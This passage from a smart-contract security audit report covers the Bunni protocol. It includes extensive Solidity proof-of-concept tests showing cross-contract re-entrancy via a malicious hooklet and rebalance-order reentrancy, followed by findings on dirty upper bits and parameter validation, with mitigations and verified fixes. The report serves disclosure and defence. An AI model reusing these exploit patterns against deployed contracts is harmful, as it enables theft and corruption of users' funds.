                VAULT_SURGE_THRESHOLD_0,
                VAULT_SURGE_THRESHOLD_1,
                REBALANCE_THRESHOLD,
                REBALANCE_MAX_SLIPPAGE,
                REBALANCE_TWAP_SECONDS_AGO,
                REBALANCE_ORDER_TTL,
                true, // amAmmEnabled
                ORACLE_MIN_INTERVAL,
                MIN_RENT_MULTIPLIER
            ),
            bytes32(uint256(1))
        );

        // Step 4: Trigger a rebalance for the recursive pool
        // Shift liquidity to create an imbalance such that we need to swap token2 into bt1
        // Shift right if bt1 is token0, shift left if bt1 is token1
        mockLDF.setMinTick(address(bt1) < address(token2) ? -20 : -40);

        // Make a small swap to trigger rebalance
        uint256 swapAmount = 1e6;
        deal(address(bt1), address(this), swapAmount);
        bt1.approve(address(swapper), swapAmount);
        IPoolManager.SwapParams memory params = IPoolManager.SwapParams({
            zeroForOne: address(bt1) < address(token2),
            amountSpecified: -int256(swapAmount),
            sqrtPriceLimitX96: address(bt1) < address(token2) ? TickMath.MIN_SQRT_PRICE + 1 :
                ↪  TickMath.MAX_SQRT_PRICE - 1
        });

        // Record logs to capture the OrderEtched event
        vm.recordLogs();
        swapper.swap(poolKey2, params, type(uint256).max, 0);

        // Find the OrderEtched event
        Vm.Log[] memory logs_ = vm.getRecordedLogs();
        Vm.Log memory orderEtchedLog;
        for (uint256 i = 0; i < logs_.length; i++) {
            if (logs_[i].emitter == address(floodPlain) && logs_[i].topics[0] ==
                ↪  IOnChainOrders.OrderEtched.selector) {
                orderEtchedLog = logs_[i];
                break;
            }
        }
        require(orderEtchedLog.emitter == address(floodPlain), "OrderEtched event not found");

        // Decode the order from the event
```

```
IFloodPlain.SignedOrder memory signedOrder = abi.decode(orderEtchedLog.data,
↪   (IFloodPlain.SignedOrder));
IFloodPlain.Order memory order = signedOrder.order;
assertEq(order.offer[0].token, address(token2), "Order offer token should be token2");
assertEq(order.consideration.token, address(bt1), "Order consideration token should be BT1");

// Step 5: Prepare to fulfill order and slightly increase bid during source consideration
uint256 bunniHookBalanceBefore = bt1.balanceOf(address(bunniHook));
console2.log("BunniHook BT1 balance before rebalance:", bt1.balanceOf(address(bunniHook)));
console2.log(
    "BunniHub BT1 6909 balance before rebalance:",
    poolManager.balanceOf(address(hub), Currency.wrap(address(bt1)).toId())
);

console2.log("BunniHook token2 balance before rebalance:",
↪   token2.balanceOf(address(bunniHook)));
console2.log(
    "BunniHub token2 6909 balance before rebalance:",
    poolManager.balanceOf(address(hub), Currency.wrap(address(token2)).toId())
);

// slightly exceed the bid amount
uint128 minRent1 = minRent * 1.11e18 / 1e18;
uint128 bidAmount1 = minRent1 * 10 days;
assertEq(bidAmount1 % minRent1, 0, "bidAmount1 should be a multiple of minRent");
deal(address(bt1), address(this), order.consideration.amount + bidAmount1);
bt1.approve(address(floodPlain), order.consideration.amount);
bt1.approve(address(bunniHook), bidAmount1);

console2.log("address(this) bt1 balance before rebalance:", bt1.balanceOf(address(this)));

// Fulfill the rebalance order
floodPlain.fulfillOrder(signedOrder, address(this), abi.encode(true, bunniHook, poolKey1,
↪   minRent1, bidAmount1));

// alice exceeds the bid amount again
uint128 mintRent2 = minRent1 * 1.11e18 / 1e18;
uint128 bidAmount2 = mintRent2 * 10 days;
deal(address(bt1), address(this), bidAmount2);
bt1.approve(address(bunniHook), bidAmount2);
bunniHook.bid(poolKey1.toId(), alice, bytes6(abi.encodePacked(uint24(1e3), uint24(2e3))),
↪   mintRent2, bidAmount2);

// make a claim
bunniHook.claimRefund(poolKey1.toId(), address(this));

console2.log("BunniHook BT1 balance after rebalance and refund:",
↪   bt1.balanceOf(address(bunniHook)));
console2.log("BunniHook token2 balance after rebalance and refund:",
↪   token2.balanceOf(address(bunniHook)));

console2.log(
    "BunniHub BT1 6909 balance after rebalance and refund:",
    poolManager.balanceOf(address(hub), Currency.wrap(address(bt1)).toId())
);
console2.log(
    "BunniHub token2 6909 balance after rebalance and refund:",
    poolManager.balanceOf(address(hub), Currency.wrap(address(token2)).toId())
);

console2.log("address(this) BT1 balance after refund:", bt1.balanceOf(address(this)));
console2.log("address(this) token2 balance after refund:", token2.balanceOf(address(this)));
```

```
        console2.log(
            "address(this) gained BT1 balance after rebalance and refund:",
            bt1.balanceOf(address(address(this))) - bidAmount1
        ); // consideration amount was swapped for token2
        console2.log(
            "BunniHook gained BT1 balance after rebalance and refund:",
            bt1.balanceOf(address(bunniHook)) - bunniHookBalanceBefore
        );
    }

    // Implementation of IFulfiller interface
    function sourceConsideration(
        bytes28, /* selectorExtension */
        IFloodPlain.Order calldata order,
        address, /* caller */
        bytes calldata data
    ) external returns (uint256) {
        bool isFirst = abi.decode(data[:32], (bool));
        bytes memory context = data[32:];

        if (isFirst) {
            (BunniHook bunniHook, PoolKey memory poolKey1, uint128 rent, uint128 bid) =
                abi.decode(context, (BunniHook, PoolKey, uint128, uint128));

            console2.log(
                "BunniHook BT1 balance before bid in sourceConsideration:",
                ERC20Mock(order.consideration.token).balanceOf(address(bunniHook))
            );

            bunniHook.bid(poolKey1.toId(), address(this), bytes6(abi.encodePacked(uint24(1e3),
            ↪  uint24(2e3))), rent, bid);

            console2.log(
                "BunniHook BT1 balance after bid in sourceConsideration:",
                ERC20Mock(order.consideration.token).balanceOf(address(bunniHook))
            );
        } else {
            (bytes32 poolId, address bunniToken) = abi.decode(context, (bytes32, address));
            IERC20(order.consideration.token).approve(msg.sender, order.consideration.amount);
            uint128 minRent = uint128(IERC20(bunniToken).totalSupply() * 1e10 / 1e18);
            uint128 deposit = uint128(7200 * minRent);
            IERC20(order.consideration.token).approve(address(bunniHook), uint256(deposit));
            bunniHook.bid(PoolId.wrap(poolId), address(this), bytes6(0), minRent, deposit);
            return order.consideration.amount;
        }

        return order.consideration.amount;
    }

    function test_normalBidding() external {
        (IBunniToken bt1, PoolKey memory poolKey1) =
            _deployPoolAndInitLiquidity(Currency.wrap(address(token0)), Currency.wrap(address(token1)));
        deal(address(bt1), address(this), 100e18);
        uint128 minRent = uint128(IERC20(bt1).totalSupply() * 1e10 / 1e18);
        uint128 deposit = uint128(7200 * minRent);
        IERC20(address(bt1)).approve(address(bunniHook), uint256(deposit));
        bunniHook.bid(poolKey1.toId(), address(this), bytes6(0), minRent, deposit);
    }

    function test_doubleBunniTokenAccountingRevert() external {
        // swapAmount = bound(swapAmount, 1e6, 1e9);
```

```
// feeMin = uint24(bound(feeMin, 2e5, 1e6 - 1));
// feeMax = uint24(bound(feeMax, feeMin, 1e6 - 1));
// alpha = uint32(bound(alpha, 1e3, 12e8));
uint256 swapAmount = 496578468;
uint24 feeMin = 800071;
uint24 feeMax = 996693;
uint32 alpha = 61123954;
bool zeroForOne = true;
uint24 feeQuadraticMultiplier = 18;

uint256 counter;
IBunniToken bt1 = IBunniToken(address(0));
PoolKey memory poolKey1;
while (address(bt1) < address(token0)) {
    (bt1, poolKey1) = _deployPoolAndInitLiquidity(
        Currency.wrap(address(token0)),
        Currency.wrap(address(token1)),
        bytes32(keccak256(abi.encode(counter++)))
    );
}

MockLDF ldf_ = new MockLDF(address(hub), address(bunniHook), address(quoter));
bytes32 ldfParams = bytes32(abi.encodePacked(ShiftMode.BOTH, int24(-3) * TICK_SPACING,
↪  int16(6), alpha));
{
    PoolKey memory key_;
    key_.tickSpacing = TICK_SPACING;
    vm.assume(ldf_.isValidParams(key_, TWAP_SECONDS_AGO, ldfParams,
    ↪  LDFType.DYNAMIC_AND_STATEFUL));
}
ldf_.setMinTick(-30); // minTick of MockLDFs need initialization
vm.startPrank(address(0x6969));
IERC20(address(bt1)).approve(address(hub), type(uint256).max);
IERC20(address(token0)).approve(address(hub), type(uint256).max);
vm.stopPrank();
(, PoolKey memory key) = _deployPoolAndInitLiquidity(
    Currency.wrap(address(token0)),
    Currency.wrap(address(bt1)),
    ERC4626(address(0)),
    ERC4626(address(0)),
    ldf_,
    IHooklet(address(0)),
    ldfParams,
    abi.encodePacked(
        feeMin,
        feeMax,
        feeQuadraticMultiplier,
        FEE_TWAP_SECONDS_AGO,
        POOL_MAX_AMAMM_FEE,
        SURGE_HALFLIFE,
        SURGE_AUTOSTART_TIME,
        VAULT_SURGE_THRESHOLD_0,
        VAULT_SURGE_THRESHOLD_1,
        REBALANCE_THRESHOLD,
        REBALANCE_MAX_SLIPPAGE,
        REBALANCE_TWAP_SECONDS_AGO,
        REBALANCE_ORDER_TTL,
        true, // amAmmEnabled
        ORACLE_MIN_INTERVAL,
        MIN_RENT_MULTIPLIER
    ),
    bytes32(keccak256("random")) // salt
```

```
        );

        // shift liquidity based on direction
        // for zeroForOne: shift left, LDF will demand more token1, so we'll have too much of token0
        // for oneForZero: shift right, LDF will demand more token0, so we'll have too much of token1
        ldf_.setMinTick(zeroForOne ? -40 : -20);

        // Define currencyIn and currencyOut based on direction
        Currency currencyIn = zeroForOne ? key.currency0 : key.currency1;
        Currency currencyOut = zeroForOne ? key.currency1 : key.currency0;
        Currency currencyInRaw = zeroForOne ? key.currency0 : key.currency1;
        Currency currencyOutRaw = zeroForOne ? key.currency1 : key.currency0;

        // make small swap to trigger rebalance
        _mint(key.currency0, address(this), swapAmount);
        vm.prank(address(this));
        IERC20(Currency.unwrap(key.currency0)).approve(address(swapper), type(uint256).max);
        IPoolManager.SwapParams memory params = IPoolManager.SwapParams({
            zeroForOne: zeroForOne,
            amountSpecified: -int256(swapAmount),
            sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
        });
        vm.recordLogs();
        _swap(key, params, 0, "");

        // validate etched order
        Vm.Log[] memory logs = vm.getRecordedLogs();
        Vm.Log memory orderEtchedLog;
        for (uint256 i = 0; i < logs.length; i++) {
            if (logs[i].emitter == address(floodPlain) && logs[i].topics[0] ==
            ↪  IOnChainOrders.OrderEtched.selector) {
                orderEtchedLog = logs[i];
                break;
            }
        }
        IFloodPlain.SignedOrder memory signedOrder = abi.decode(orderEtchedLog.data,
        ↪  (IFloodPlain.SignedOrder));
        IFloodPlain.Order memory order = signedOrder.order;

        // if there is no weth held in the contract, the rebalancing succeeds
        _mint(currencyOut, address(this), order.consideration.amount * 2);
        floodPlain.fulfillOrder(signedOrder, address(this), abi.encode(false, poolKey1.toId(),
        ↪  address(bt1)));
        vm.roll(vm.getBlockNumber() + 7200);
        bunniHook.getBidWrite(poolKey1.toId(), true);
        vm.roll(vm.getBlockNumber() + 7200);
        // reverts as there is insufficient token balance
        vm.expectRevert();
        bunniHook.getBidWrite(poolKey1.toId(), true);
    }
}
```

Recommended Mitigation: Consider overriding all virtual functions to include the re-entrancy guard that is locked when `rebalanceOrderHook()` is called.

Bacon Labs: Fixed in commit 75de098.

Cyfrin: Verified. The `AmAmm` functions have been overridden to be non-reentrant and disabled during active fulfilment of a rebalance order.

7.4 Low Risk

7.4.1 Token transfer hooks should be invoked at the end of execution to prevent the hooklet executing over intermediate state

Description: `ERC20Referrer::transfer` invokes the `_afterTokenTransfer()` hook before the unlocker callback (assuming the recipient is locked):

```
function transfer(address to, uint256 amount) public virtual override returns (bool) {
    ...

    _afterTokenTransfer(msgSender, to, amount);

    // Unlocker callback if `to` is locked.
    if (toLocked) {
        IERC20Unlocker unlocker = unlockerOf(to);
        unlocker.lockedUserReceiveCallback(to, amount);
    }

    return true;
}
```

However, this should be performed after the callback since `BunniToken` overrides the hook to call the hooklet which can execute over intermediate state before execution of the unlocker callback:

```
function _afterTokenTransfer(address from, address to, uint256 amount) internal override {
    // call hooklet
    IHooklet hooklet_ = hooklet();
    if (hooklet_.hasPermission(HookletLib.AFTER_TRANSFER_FLAG)) {
        hooklet_.hookletAfterTransfer(msg.sender, poolKey(), this, from, to, amount);
    }
}
```

Additionally, while the `BunniHub` implements a re-entrancy guard, this does not prevent cross-contract re-entrancy between the `BunniHub` and `BunniToken` contracts via hooklet calls. A valid exploit affecting legitimate pools has not been identified, but this is not a guarantee that such a vulnerability does not exist. As a matter of best practice, cross-contract re-entrancy should be forbidden.

Impact: * A locked receiver could invoke the unlocker within the hooklet call to unlock their account. The callback would continue to be executed, potentially abusing the locking functionality to accrue rewards to an account that is no longer locked.

- The referral score of the protocol can be erroneously credited to a different referrer.
- Deposits to the `BunniHub` can be made by re-entering `BunniToken` transfers via hooklet calls in the token transfer hooks, potentially corrupting referral reward accounting.

Proof of Concept: The following modifications to `BunniToken.t.sol` demonstrate all re-entrancy vectors:

```
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.4;

import {IUnlockCallback} from "@uniswap/v4-core/src/interfaces/callback/IUnlockCallback.sol";

import {LibString} from "solady/utils/LibString.sol";

import "./BaseTest.sol";
import "./mocks/ERC20UnlockerMock.sol";

import {console2} from "forge-std/console2.sol";

contract User {
    IPermit2 internal constant PERMIT2 = IPermit2(0x000000000022D473030F116dDEE9F6B43aC78BA3);
    address referrer;
    address unlocker;
    address token0;
    address token1;
    address weth;

    constructor(address _token0, address _token1, address _weth) {
        token0 = _token0;
        token1 = _token1;
        weth = _weth;
    }

    receive() external payable {}

    function updateReferrer(address _referrer) external {
        referrer = _referrer;
    }

    function doDeposit(
        IBunniHub hub,
        IBunniHub.DepositParams memory params
    ) external payable {
        params.referrer = referrer;
        IERC20(Currency.unwrap(params.poolKey.currency1)).approve(address(PERMIT2), type(uint256).max);
        PERMIT2.approve(address(Currency.unwrap(params.poolKey.currency1)), address(hub),
        ↪  type(uint160).max, type(uint48).max);

        PERMIT2.approve(address(token0), address(hub), type(uint160).max, type(uint48).max);
        PERMIT2.approve(address(token1), address(hub), type(uint160).max, type(uint48).max);
        PERMIT2.approve(address(weth), address(hub), type(uint160).max, type(uint48).max);

        console2.log("doing re-entrant deposit");
        (uint256 shares,,) = hub.deposit{value: msg.value}(params);
    }

    function updateUnlocker(address _unlocker) external {
        console2.log("updating unlocker: %s", _unlocker);
        unlocker = _unlocker;
    }

    function doUnlock() external {
        if(ERC20UnlockerMock(unlocker).token().isLocked(address(this))) {
            console2.log("doing unlock");
            ERC20UnlockerMock(unlocker).unlock(address(this));
        }
    }
}

contract ReentrantHooklet is IHooklet {
    IPermit2 internal constant PERMIT2 = IPermit2(0x000000000022D473030F116dDEE9F6B43aC78BA3);
    BunniTokenTest test;
    User user;
    IBunniHub hub;
    bool entered;

    constructor(BunniTokenTest _test, IBunniHub _hub, User _user) {
        test = _test;
        hub = _hub;
        user = _user;
    }

    receive() external payable {}
```

```
function beforeTransfer(address sender, PoolKey memory key, IBunniToken bunniToken, address from,
↪   address to, uint256 amount) external returns (bytes4) {
    if (!entered && address(user) == to && IERC20(address(bunniToken)).balanceOf(address(user)) ==
    ↪   0) {
        entered = true;
        console2.log("making re-entrant deposit");

        uint256 depositAmount0 = 1 ether;
        uint256 depositAmount1 = 1 ether;
        uint256 value;
        if (key.currency0.isAddressZero()) {
            value = depositAmount0;
        } else if (key.currency1.isAddressZero()) {
            value = depositAmount1;
        }

        // deposit tokens
        IBunniHub.DepositParams memory depositParams = IBunniHub.DepositParams({
            poolKey: key,
            amount0Desired: depositAmount0,
            amount1Desired: depositAmount1,
            amount0Min: 0,
            amount1Min: 0,
            deadline: block.timestamp,
            recipient: address(user),
            refundRecipient: address(user),
            vaultFee0: 0,
            vaultFee1: 0,
            referrer: address(0)
        });

        user.doDeposit{value: value}(hub, depositParams);
    }

    return this.beforeTransfer.selector;
}

function afterTransfer(address sender, PoolKey memory key, IBunniToken bunniToken, address from,
↪   address to, uint256 amount) external returns (bytes4) {
    user.doUnlock();
    return this.afterTransfer.selector;
}

function beforeInitialize(address sender, IBunniHub.DeployBunniTokenParams calldata params)
    external
    returns (bytes4 selector) {
        return this.beforeInitialize.selector;
    }

function afterInitialize(
    address sender,
    IBunniHub.DeployBunniTokenParams calldata params,
    InitializeReturnData calldata returnData
) external returns (bytes4 selector) {
    return this.afterInitialize.selector;
}

function beforeDeposit(address sender, IBunniHub.DepositParams calldata params)
    external
    returns (bytes4 selector) {
        return this.beforeDeposit.selector;
    }

function beforeDepositView(address sender, IBunniHub.DepositParams calldata params)
    external
    view
    returns (bytes4 selector) {
        return this.beforeDeposit.selector;
    }

function afterDeposit(
    address sender,
    IBunniHub.DepositParams calldata params,
    DepositReturnData calldata returnData
) external returns (bytes4 selector) {
    return this.afterDeposit.selector;
}

function afterDepositView(
    address sender,
    IBunniHub.DepositParams calldata params,
    DepositReturnData calldata returnData
) external view returns (bytes4 selector) {
    return this.afterDeposit.selector;
}

function beforeWithdraw(address sender, IBunniHub.WithdrawParams calldata params)
    external
    returns (bytes4 selector) {
        return this.beforeWithdraw.selector;
    }

function beforeWithdrawView(address sender, IBunniHub.WithdrawParams calldata params)
    external
    view
    returns (bytes4 selector) {
        return this.beforeWithdraw.selector;
    }

function afterWithdraw(
    address sender,
    IBunniHub.WithdrawParams calldata params,
    WithdrawReturnData calldata returnData
) external returns (bytes4 selector) {
    return this.afterWithdraw.selector;
}

function afterWithdrawView(
    address sender,
    IBunniHub.WithdrawParams calldata params,
    WithdrawReturnData calldata returnData
) external view returns (bytes4 selector) {
    return this.afterWithdraw.selector;
}

function beforeSwap(address sender, PoolKey calldata key, IPoolManager.SwapParams calldata params)
    external
    returns (bytes4 selector, bool feeOverriden, uint24 fee, bool priceOverridden, uint160
    ↪  sqrtPriceX96) {
        return (this.beforeSwap.selector, false, 0, false, 0);
    }
    function beforeSwapView(address sender, PoolKey calldata key, IPoolManager.SwapParams calldata
    ↪  params)
        external
        view
        returns (bytes4 selector, bool feeOverriden, uint24 fee, bool priceOverridden, uint160
        ↪  sqrtPriceX96) {
            return (this.beforeSwap.selector, false, 0, false, 0);
        }

    function afterSwap(
        address sender,
        PoolKey calldata key,
        IPoolManager.SwapParams calldata params,
        SwapReturnData calldata returnData
    ) external returns (bytes4 selector) {
        return this.afterSwap.selector;
    }

    function afterSwapView(
        address sender,
        PoolKey calldata key,
        IPoolManager.SwapParams calldata params,
        SwapReturnData calldata returnData
    ) external view returns (bytes4 selector) {
        return this.afterSwap.selector;
    }
}

contract BunniTokenTest is BaseTest, IUnlockCallback {
    using LibString for *;
    using CurrencyLibrary for Currency;

    uint256 internal constant MAX_REL_ERROR = 1e4;

    IBunniToken internal bunniToken;
    ERC20UnlockerMock internal unlocker;
    // address bob = makeAddr("bob");
    address payable bob;
    address alice = makeAddr("alice");
    address refA = makeAddr("refA");
    address refB = makeAddr("refB");
    Currency internal currency0;
    Currency internal currency1;
    PoolKey internal key;

    function setUp() public override {
        super.setUp();

        currency0 = CurrencyLibrary.ADDRESS_ZERO;
        currency1 = Currency.wrap(address(token1));

        // deploy BunniToken
        bytes32 ldfParams = bytes32(abi.encodePacked(ShiftMode.BOTH, int24(-30), int16(6), ALPHA));
        bytes memory hookParams = abi.encodePacked(
            FEE_MIN,
            FEE_MAX,
            FEE_QUADRATIC_MULTIPLIER,
            FEE_TWAP_SECONDS_AGO,
            POOL_MAX_AMAMM_FEE,
            SURGE_HALFLIFE,
            SURGE_AUTOSTART_TIME,
            VAULT_SURGE_THRESHOLD_0,
            VAULT_SURGE_THRESHOLD_1,
            REBALANCE_THRESHOLD,
            REBALANCE_MAX_SLIPPAGE,
            REBALANCE_TWAP_SECONDS_AGO,
            REBALANCE_ORDER_TTL,
            true, // amAmmEnabled
            ORACLE_MIN_INTERVAL,
            MIN_RENT_MULTIPLIER
        );

        // deploy ReentrantHooklet with all flags
        bytes32 salt;
        unchecked {
            bytes memory creationCode = abi.encodePacked(
                type(ReentrantHooklet).creationCode,
                abi.encode(
                    this,
                    hub,
                    User(bob)
                )
            );
            uint256 offset;
            while (true) {
                salt = bytes32(offset);
                address deployed = computeAddress(address(this), salt, creationCode);
                if (
                    uint160(bytes20(deployed)) & HookletLib.ALL_FLAGS_MASK == HookletLib.ALL_FLAGS_MASK
                        && deployed.code.length == 0
                ) {
                    break;
                }
                offset++;
            }
        }

        bob = payable(address(new User(address(token0), address(token1), address(weth))));
        vm.label(address(bob), "bob");
        vm.label(address(token0), "token0");
        vm.label(address(token1), "token1");
        ReentrantHooklet hooklet = new ReentrantHooklet{salt: salt}(this, hub, User(bob));

        if (currency0.isAddressZero()) {
            vm.deal(address(hooklet), 100 ether);
            vm.deal(address(bob), 100 ether);
        } else if (Currency.unwrap(currency0) == address(weth)) {
            vm.deal(address(this), 200 ether);
            weth.deposit{value: 200 ether}();
            weth.transfer(address(hooklet), 100 ether);
            weth.transfer(address(bob), 100 ether);
        } else {
            deal(Currency.unwrap(currency0), address(hooklet), 100 ether);
            deal(Currency.unwrap(currency0), address(bob), 100 ether);
        }

        if (Currency.unwrap(currency1) == address(weth)) {
            vm.deal(address(this), 200 ether);
            weth.deposit{value: 200 ether}();
            weth.transfer(address(hooklet), 100 ether);
            weth.transfer(address(bob), 100 ether);
        } else {
            deal(Currency.unwrap(currency1), address(hooklet), 100 ether);
            deal(Currency.unwrap(currency1), address(bob), 100 ether);
        }

        (bunniToken, key) = hub.deployBunniToken(
            IBunniHub.DeployBunniTokenParams({
                currency0: currency0,
                currency1: currency1,
                tickSpacing: 10,
                twapSecondsAgo: 7 days,
                liquidityDensityFunction: ldf,
                hooklet: IHooklet(address(hooklet)),
                ldfType: LDFType.DYNAMIC_AND_STATEFUL,
                ldfParams: ldfParams,
                hooks: bunniHook,
                hookParams: hookParams,
                vault0: ERC4626(address(0)),
                vault1: ERC4626(address(0)),
                minRawTokenRatio0: 0.08e6,
                targetRawTokenRatio0: 0.1e6,
                maxRawTokenRatio0: 0.12e6,
                minRawTokenRatio1: 0.08e6,
                targetRawTokenRatio1: 0.1e6,
                maxRawTokenRatio1: 0.12e6,
                sqrtPriceX96: uint160(Q96),
                name: "BunniToken",
                symbol: "BUNNI",
                owner: address(this),
                metadataURI: "",
                salt: bytes32(0)
            })
        );

        poolManager.setOperator(address(bunniToken), true);

        unlocker = new ERC20UnlockerMock(IERC20Lockable(address(bunniToken)));
        vm.label(address(unlocker), "unlocker");
        User(bob).updateUnlocker(address(unlocker));
    }

    function test_PoCUnlockerReentrantHooklet() external {
        uint256 amountAlice = _makeDeposit(key, 1 ether, 1 ether, alice, refA);
        uint256 amountBob = _makeDeposit(key, 1 ether, 1 ether, bob, refB);

        // lock account as `bob`
        vm.prank(bob);
        bunniToken.lock(unlocker, "");
        assertTrue(bunniToken.isLocked(bob), "isLocked returned false");
        assertEq(address(bunniToken.unlockerOf(bob)), address(unlocker), "unlocker incorrect");
        assertEq(unlocker.lockedBalances(bob), amountBob, "locked balance incorrect");

        // transfer from `alice` to `bob`
        vm.prank(alice);
        bunniToken.transfer(bob, amountAlice);

        assertEq(bunniToken.balanceOf(alice), 0, "alice balance not 0");
        assertEq(bunniToken.balanceOf(bob), amountAlice + amountBob, "bob balance not equal to sum of
        ↪  amounts");
        console2.log("locked balance of bob: %s", unlocker.lockedBalances(bob));
        console2.log("but bunniToken.isLocked(bob) actually now returns: %s", bunniToken.isLocked(bob));
    }

    function test_PoCMinInitialSharesScore() external {
        uint256 amount = _makeDeposit(key, 1 ether, 1 ether, alice, address(0));
        assertEq(bunniToken.scoreOf(address(0)), amount + MIN_INITIAL_SHARES, "initial score not 0");

        // transfer from `alice` to `bob` (re-entrant deposit)
        vm.prank(alice);
        bunniToken.transfer(bob, amount);

        console2.log("score of address(0): %s != %s", bunniToken.scoreOf(address(0)),
        ↪   MIN_INITIAL_SHARES);
        console2.log("score of refB: %s", bunniToken.scoreOf(refB));
    }

    function test_PoCCrossContractReentrantHooklet() external {
        // 1. Make initial deposit from alice with referrer refA
        address referrer = refA;
        assertEq(bunniToken.scoreOf(referrer), 0, "initial score not 0");
        console2.log("making initial deposit");
        uint256 amount = _makeDeposit(key, 1 ether, 1 ether, alice, referrer);
        assertEq(bunniToken.referrerOf(alice), referrer, "referrer incorrect");
        assertEq(bunniToken.balanceOf(alice), amount, "balance not equal to amount");
        assertEq(bunniToken.scoreOf(referrer), amount, "score not equal to amount");

        // 2. Distribute rewards
        poolManager.unlock(abi.encode(currency0, 1 ether));
        bunniToken.distributeReferralRewards(true, 1 ether);
        (uint256 claimable, ) = bunniToken.getClaimableReferralRewards(address(0));
        console2.log("claimable of address(0): %s", claimable);
        (claimable, ) = bunniToken.getClaimableReferralRewards(refA);
        console2.log("claimable of refA: %s", claimable);

        // 3. Transfer bunni token to bob (re-entrant)
        referrer = address(0);
        assertEq(bunniToken.referrerOf(bob), referrer, "bob initial referrer incorrect");
        assertEq(bunniToken.scoreOf(referrer), 1e12, "initial score of referrer not
        ↪   MIN_INITIAL_SHARES");
        referrer = refB;
        assertEq(bunniToken.scoreOf(referrer), 0, "initial score referrer not 0");

        console2.log("transferring (re-entrant deposit)");
        // update state in User contract to use refB in deposit
        referrer = refB;
        User(bob).updateReferrer(referrer);
        vm.prank(alice);
        bunniToken.transfer(bob, amount);

        // 4. After the transfer finishes
        assertEq(bunniToken.referrerOf(bob), referrer, "referrer incorrect");
        assertGt(bunniToken.balanceOf(bob), amount, "balance not greater than amount");

        uint256 totalSupply = bunniToken.totalSupply();
        uint256 totalScore = bunniToken.scoreOf(address(0)) + bunniToken.scoreOf(refA) +
        ↪   bunniToken.scoreOf(refB);
        console2.log("totalSupply: %s", totalSupply);
        console2.log("totalScore: %s", totalScore);

        address[] memory referrerAddresses = new address[](3);
        referrerAddresses[0] = address(0);
        referrerAddresses[1] = refA;
        referrerAddresses[2] = refB;
        uint256[] memory referrerScores = new uint256[](3);
        uint256[] memory claimableAmounts = new uint256[](3);
        for (uint256 i; i < referrerAddresses.length; i++) {
            referrerScores[i] = bunniToken.scoreOf(referrerAddresses[i]);
            console2.log("score of %s: %s", referrerAddresses[i], referrerScores[i]);
            (uint256 claimable0, ) =
                bunniToken.getClaimableReferralRewards(referrerAddresses[i]);
            claimableAmounts[i] = claimable0;
            console2.log("claimable amount of %s: %s", referrerAddresses[i], claimable0);
        }
    }
}
```

Recommended Mitigation: * Re-order the unlocker callback logic to ensure the `_afterTokenTransfer()` hook is invoked at the very end of execution. This also applies to `transferFrom()`, both overloaded implementations of `_mint()`, and `_transfer()`.

- Apply a global guard to prevent cross-contract re-entrancy.

Bacon Labs: Fixed in PR #102.

Cyfrin: Verified, the after token transfer hook is now invoked after the unlocker callback.

7.4.2 Potentially dirty upper bits of narrow types could affect allowance computations in `ERC20Referrer`

Description: Solidity makes no guarantees about the contents of the upper bits of variables whose types do not span the full 32-byte width. Consider `ERC20Referrer::_transfer`, for example:

```
function _transfer(address from, address to, uint256 amount) internal virtual override {
    bool toLocked;

    _beforeTokenTransfer(from, to, amount, address(0));
    /// @solidity memory-safe-assembly
    assembly {
        let from_ := shl(96, from)
        // Compute the balance slot and load its value.
        mstore(0x0c, _BALANCE_SLOT_SEED)
        mstore(0x00, from)
        let fromBalanceSlot := keccak256(0x0c, 0x20)
        let fromBalance := sload(fromBalanceSlot)
        ...
    }
    ...
}
```

Here, and similarly in `transferFrom()`, the `from_` variable defined within the assembly block shifts left the upper 96 bits to effectively clean the potentially dirty upper bits; however, this variable is actually unused. In this case, there is no issue, since the keccak hash does not consider the upper bits.

Other assembly usage throughout the contract fails to shift addresses to clean the upper bits, for example in `approve()` and `transferFrom()` where the allowance slot could be incorrectly computed if the upper bits of the `spender` address are dirty:

```
function approve(address spender, uint256 amount) public virtual override returns (bool) {
    address msgSender = LibMulticaller.senderOrSigner();
    /// @solidity memory-safe-assembly
    assembly {
        // Compute the allowance slot and store the amount.
        mstore(0x20, spender)
        mstore(0x0c, _ALLOWANCE_SLOT_SEED)
        mstore(0x00, msgSender)
        sstore(keccak256(0x0c, 0x34), amount)
        // Emit the {Approval} event.
        mstore(0x00, amount)
        log3(0x00, 0x20, _APPROVAL_EVENT_SIGNATURE, msgSender, shr(96, mload(0x2c)))
    }
    return true;
}
```

Impact: Token allowances could be incorrectly computed, most likely resulting in a DoS of functionality but with a small chance that allowance could be set for an unintended spender.

Recommended Mitigation: * Remove the unused `from_` variables if they are not needed.

- Clean the upper bits of all narrow type variables used in the assembly blocks in such a way that could be considered unsafe (e.g. in `approve()` and `transferFrom()`.

Bacon Labs: Fixed in PR #104.

Cyfrin: Verified, the upper bits of narrow type in `ERC20Referrer` are now cleaned.

7.4.3 `LibBuyTheDipGeometricDistribution::cumulativeAmount0` will always return 0 due to insufficient `alphaX96` validation

Description: While the combination of `LibBuyTheDipGeometricDistribution::isValidParams` and `LibBuyTheDipGeometricDistribution::geometricIsValidParams` should be functionally equivalent to `LibGeometricDistribution::isValidParams`, except for the shift mode enforcement, this is not the case.

```
    function geometricIsValidParams(int24 tickSpacing, bytes32 ldfParams) internal pure returns (bool) {
        (int24 minUsableTick, int24 maxUsableTick) =
            (TickMath.minUsableTick(tickSpacing), TickMath.maxUsableTick(tickSpacing));

        // | shiftMode - 1 byte | minTickOrOffset - 3 bytes | length - 2 bytes | alpha - 4 bytes |
        uint8 shiftMode = uint8(bytes1(ldfParams));
        int24 minTickOrOffset = int24(uint24(bytes3(ldfParams << 8)));
        int24 length = int24(int16(uint16(bytes2(ldfParams << 32))));
        uint256 alpha = uint32(bytes4(ldfParams << 48));

        // ensure minTickOrOffset is aligned to tickSpacing
        if (minTickOrOffset % tickSpacing != 0) {
            return false;
        }

        // ensure length > 0 and doesn't overflow when multiplied by tickSpacing
        // ensure length can be contained between minUsableTick and maxUsableTick
        if (
            length <= 0 || int256(length) * int256(tickSpacing) > type(int24).max
                || length > maxUsableTick / tickSpacing || -length < minUsableTick / tickSpacing
        ) return false;

        // ensure alpha is in range
@>      if (alpha < MIN_ALPHA || alpha > MAX_ALPHA || alpha == ALPHA_BASE) return false;

        // ensure the ticks are within the valid range
        if (shiftMode == uint8(ShiftMode.STATIC)) {
            // static minTick set in params
            int24 maxTick = minTickOrOffset + length * tickSpacing;
            if (minTickOrOffset < minUsableTick || maxTick > maxUsableTick) return false;
        }

        // if all conditions are met, return true
